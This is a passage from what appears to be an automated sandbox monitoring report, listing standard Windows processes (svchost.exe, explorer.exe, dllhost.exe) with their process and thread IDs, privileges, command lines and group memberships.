monitor_reason = "rpc_server" parent_id = "16" os_parent_pid = "0x564" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000dc41" [0xc000000f], "LOCAL" [0x7] Thread: id = 186 os_tid = 0x410 Thread: id = 187 os_tid = 0x7f8 Thread: id = 188 os_tid = 0x7f4 Thread: id = 189 os_tid = 0x7b4 Thread: id = 190 os_tid = 0x7a8 Thread: id = 191 os_tid = 0x654 Thread: id = 192 os_tid = 0x190 Thread: id = 193 os_tid = 0x154 Thread: id = 194 os_tid = 0x158 Thread: id = 195 os_tid = 0x134 Thread: id = 196 os_tid = 0x12c Thread: id = 197 os_tid = 0x11c Thread: id = 234 os_tid = 0x4a8 Thread: id = 235 os_tid = 0x364 Thread: id = 236 os_tid = 0x360 Thread: id = 237 os_tid = 0x348 Thread: id = 342 os_tid = 0x5d4 Thread: id = 345 os_tid = 0x7dc Process: id = "18" image_name = "explorer.exe" filename = "c:\\windows\\explorer.exe" page_root = "0x75db000" os_pid = "0x3ac" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "rpc_server" parent_id = "17" os_parent_pid = "0x120" cmd_line = "C:\\Windows\\Explorer.EXE" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e2a3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 198 os_tid = 0x6e4 Thread: id = 199 os_tid = 0x6d8 Thread: id = 200 os_tid = 0x6cc Thread: id = 201 os_tid = 0x6c0 Thread: id = 202 os_tid = 0x6b8 Thread: id = 203 os_tid = 0x68c Thread: id = 204 os_tid = 0x670 Thread: id = 205 os_tid = 0x668 Thread: id = 206 os_tid = 0x658 Thread: id = 207 os_tid = 0x630 Thread: id = 208 os_tid = 0x638 Thread: id = 209 os_tid = 0x5f8 Thread: id = 210 os_tid = 0x5f0 Thread: id = 211 os_tid = 0x5c8 Thread: id = 212 os_tid = 0x5bc Thread: id = 213 os_tid = 0x5ac Thread: id = 214 os_tid = 0x584 Thread: id = 215 os_tid = 0x580 Thread: id = 216 os_tid = 0x558 Thread: id = 217 os_tid = 0x554 Thread: id = 218 os_tid = 0x550 Thread: id = 219 os_tid = 0x54c Thread: id = 220 os_tid = 0x538 Thread: id = 221 os_tid = 0x4ac Thread: id = 222 os_tid = 0x4a8 Thread: id = 223 os_tid = 0x4a4 Thread: id = 224 os_tid = 0x494 Thread: id = 225 os_tid = 0x40c Thread: id = 226 os_tid = 0x408 Thread: id = 227 os_tid = 0x404 Thread: id = 228 os_tid = 0x17c Thread: id = 229 os_tid = 0x310 Thread: id = 230 os_tid = 0x1c4 Thread: id = 231 os_tid = 0x15c Thread: id = 232 os_tid = 0x14c Thread: id = 233 os_tid = 0x3dc Thread: id = 238 os_tid = 0x334 Thread: id = 246 os_tid = 0x32c Thread: id = 346 os_tid = 0x234 Thread: id = 349 os_tid = 0x21c Thread: id = 382 os_tid = 0x75c Thread: id = 383 os_tid = 0x250 Process: id = "19" image_name = "dllhost.exe" filename = "c:\\windows\\system32\\dllhost.exe" page_root = "0x724d1000" os_pid = "0x55c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "rpc_server" parent_id = "18" os_parent_pid = "0x3ac" cmd_line = "C:\\Windows\\system32\\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e2a3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 239 os_tid = 0x31c Thread: id = 240 os_tid = 0x5a4 Thread: id = 241 os_tid = 0x354 Thread: id = 242 os_tid = 0x350 Thread: id = 243 os_tid = 0x328 Thread: id = 244 os_tid = 0x330 Thread: id = 245 os_tid = 0x338 Process: id = "20" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x7ac3c000" os_pid = "0x4f8" os_integrity_level = "0x4000" os_privileges = "0x60a00000" monitor_reason = "rpc_server" parent_id = "17" os_parent_pid = "0x120" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalServiceNoNetwork" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BFE" [0xe], "NT SERVICE\\DPS" [0xa], "NT SERVICE\\MpsSvc" [0xa], "NT SERVICE\\pla" [0xa], "NT SERVICE\\WwanSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:00011c2f" [0xc000000f], "LOCAL" [0x7], "NT AUTHORITY\\WRITE RESTRICTED" [0x7] Thread: id = 247 os_tid = 0x578 Thread: id = 248 os_tid = 0x474 Thread: id = 249 os_tid = 0x438 Thread: id = 250 os_tid = 0x430 Thread: id = 251 os_tid = 0x418 Thread: id = 252 os_tid = 0x7b8 Thread: id = 253 os_tid = 0x6d4 Thread: id = 254 os_tid = 0x6d0 Thread: id = 255 os_tid = 0x6a4 Thread: id = 256 os_tid = 0x680 Thread: id = 257 os_tid = 0x67c Thread: id = 258 os_tid = 0x678 Thread: id = 259 os_tid = 0x664 Thread: id = 260 os_tid = 0x64c Thread: id = 261 os_tid = 0x5c4 Thread: id = 262 os_tid = 0x540 Thread: id = 263 os_tid = 0x534 Thread: id = 264 os_tid = 0x520 Thread: id = 265 os_tid = 0x514 Thread: id = 266 os_tid = 0x510 Thread: id = 267 os_tid = 0x508 Thread: id = 268 os_tid = 0x504 Thread: id = 269 os_tid = 0x500 Thread: id = 270 os_tid = 0x4fc Thread: id = 344 os_tid = 0x368 Thread: id = 347 os_tid = 0x590 Thread: id = 348 os_tid = 0x13c Process: id = "21" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0xa690000" os_pid = "0x378" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "16" os_parent_pid = "0x564" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000ce2b" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 273 os_tid = 0x560 Thread: id = 274 os_tid = 0x57c Thread: id = 275 os_tid = 0x574 Thread: id = 276 os_tid = 0x548 Thread: id = 277 os_tid = 0x53c Thread: id = 278 os_tid = 0x4ac Thread: id = 279 os_tid = 0x7ec Thread: id = 280 os_tid = 0x7d8 Thread: id = 281 os_tid = 0x7a4 Thread: id = 282 os_tid = 0x79c Thread: id = 283 os_tid = 0x798 Thread: id = 284 os_tid = 0x794 Thread: id = 285 os_tid = 0x790 Thread: id = 286 os_tid = 0x78c Thread: id = 287 os_tid = 0x784 Thread: id = 288 os_tid = 0x780 Thread: id = 289 os_tid = 0x778 Thread: id = 290 os_tid = 0x76c Thread: id = 291 os_tid = 0x764 Thread: id = 292 os_tid = 0x75c Thread: id = 293 os_tid = 0x750 Thread: id = 294 os_tid = 0x748 Thread: id = 295 os_tid = 0x744 Thread: id = 296 os_tid = 0x740 Thread: id = 297 os_tid = 0x730 Thread: id = 298 os_tid = 0x724 Thread: id = 299 os_tid = 0x440 Thread: id = 300 os_tid = 0x444 Thread: id = 301 os_tid = 0x4d0 Thread: id = 302 os_tid = 0x4b4 Thread: id = 303 os_tid = 0x4b0 Thread: id = 304 os_tid = 0x4a0 Thread: id = 305 os_tid = 0x49c Thread: id = 306 os_tid = 0x48c Thread: id = 307 os_tid = 0x138 Thread: id = 308 os_tid = 0x220 Thread: id = 309 os_tid = 0xf0 Thread: id = 310 os_tid = 0x3fc Thread: id = 311 os_tid = 0x3f0 Thread: id = 312 os_tid = 0x3a4 Thread: id = 313 os_tid = 0x3a0 Thread: id = 314 os_tid = 0x39c Thread: id = 315 os_tid = 0x398 Thread: id = 316 os_tid = 0x384 Thread: id = 317 os_tid = 0x37c Thread: id = 329 os_tid = 0x6c4 Thread: id = 330 os_tid = 0x6bc Thread: id = 331 os_tid = 0x69c Thread: id = 332 os_tid = 0x638 Thread: id = 333 os_tid = 0x278 Thread: id = 334 os_tid = 0x7a0 Thread: id = 335 os_tid = 0x7ac Thread: id = 336 os_tid = 0x7c4 Thread: id = 337 os_tid = 0x488 Thread: id = 338 os_tid = 0x348 Thread: id = 339 os_tid = 0x31c Thread: id = 340 os_tid = 0x7e8 Thread: id = 341 os_tid = 0x318 Thread: id = 350 os_tid = 0x36c Thread: id = 351 os_tid = 0x4cc Thread: id = 352 os_tid = 0x314 Thread: id = 353 os_tid = 0x30c Thread: id = 354 os_tid = 0x324 Thread: id = 355 os_tid = 0x6b0 Thread: id = 356 os_tid = 0x2e4 Thread: id = 357 os_tid = 0x124 Thread: id = 380 os_tid = 0x240 Thread: id = 381 os_tid = 0x244 Process: id = "22" image_name = "dllhost.exe" filename = "c:\\windows\\system32\\dllhost.exe" page_root = "0x6e4e9000" os_pid = "0x66c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "rpc_server" parent_id = "18" os_parent_pid = "0x3ac" cmd_line = "C:\\Windows\\system32\\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e2a3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 321 os_tid = 0x708 Thread: id = 322 os_tid = 0x70c Thread: id = 323 os_tid = 0x6dc Thread: id = 324 os_tid = 0x5c0 Thread: id = 325 os_tid = 0x5dc Thread: id = 326 os_tid = 0x6a0 Thread: id = 327 os_tid = 0x688 Process: id = "23" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0xd981000" os_pid = "0x2d0" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "18" os_parent_pid = "0x3ac" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalServiceNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\Audiosrv" [0xa], "NT SERVICE\\Dhcp" [0xa], "NT SERVICE\\eventlog" [0xe], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\lmhosts" [0xa], "NT SERVICE\\WPCSvc" [0xa], "NT SERVICE\\wscsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000b578" [0xc000000f], "LOCAL" [0x7] Thread: id = 358 os_tid = 0x738 Thread: id = 359 os_tid = 0x3bc Thread: id = 360 os_tid = 0x1ec Thread: id = 361 os_tid = 0x52c Thread: id = 362 os_tid = 0x334 Thread: id = 363 os_tid = 0x690 Thread: id = 364 os_tid = 0x650 Thread: id = 365 os_tid = 0x62c Thread: id = 366 os_tid = 0x614 Thread: id = 367 os_tid = 0x600 Thread: id = 368 os_tid = 0x460 Thread: id = 369 os_tid = 0x448 Thread: id = 370 os_tid = 0x43c Thread: id = 371 os_tid = 0x424 Thread: id = 372 os_tid = 0x178 Thread: id = 373 os_tid = 0x3c8 Thread: id = 374 os_tid = 0x3c0 Thread: id = 375 os_tid = 0x3b0 Thread: id = 376 os_tid = 0x304 Thread: id = 377 os_tid = 0x300 Thread: id = 378 os_tid = 0x2dc Thread: id = 379 os_tid = 0x2d4